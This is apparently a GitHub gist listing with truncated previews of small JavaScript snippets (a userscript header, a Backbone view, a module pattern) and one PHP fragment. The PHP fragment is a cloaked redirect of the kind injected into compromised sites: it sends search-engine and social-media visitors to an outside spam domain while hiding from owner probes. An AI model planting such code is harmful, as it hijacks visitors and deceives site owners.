This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name getWin | |
// @namespace my.util | |
// @include http://kunghc.pixnet.net/blog/post/30967503 | |
// @version 1 | |
// ==/UserScript== | |
function createCookie(name,value,days) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var superView = Backbone.View.extend({ | |
initialize: function(){ | |
if(this.val2) this.op.c = this.val2; | |
console.log(this.op); | |
}, | |
op: {a:"B"}, | |
m1: function(){}, | |
m2: function(){}, | |
events1: { | |
"click div":"m1" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var myObject = (function(){ | |
var _private = { | |
someVar: "This is private", | |
privateFunction = function(){ /* do-something*/ }; | |
} | |
return { | |
publicVar : "This is public", | |
publicFunction : function(){ | |
/*do-something*/ | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
error_reporting(0); | |
$nccv=headers_sent(); | |
if (!$nccv){ | |
$referer=$_SERVER['HTTP_REFERER']; | |
$ua=$_SERVER['HTTP_USER_AGENT']; | |
if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"msn") or stristr($referer,"bing") or stristr($referer,"ask") or stristr($referer,"youtube") or stristr($referer,"facebook") ) { | |
if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){ | |
header("Location: http://bbpliops.345.pl/"); | |
exit(); | |
} |
NewerOlder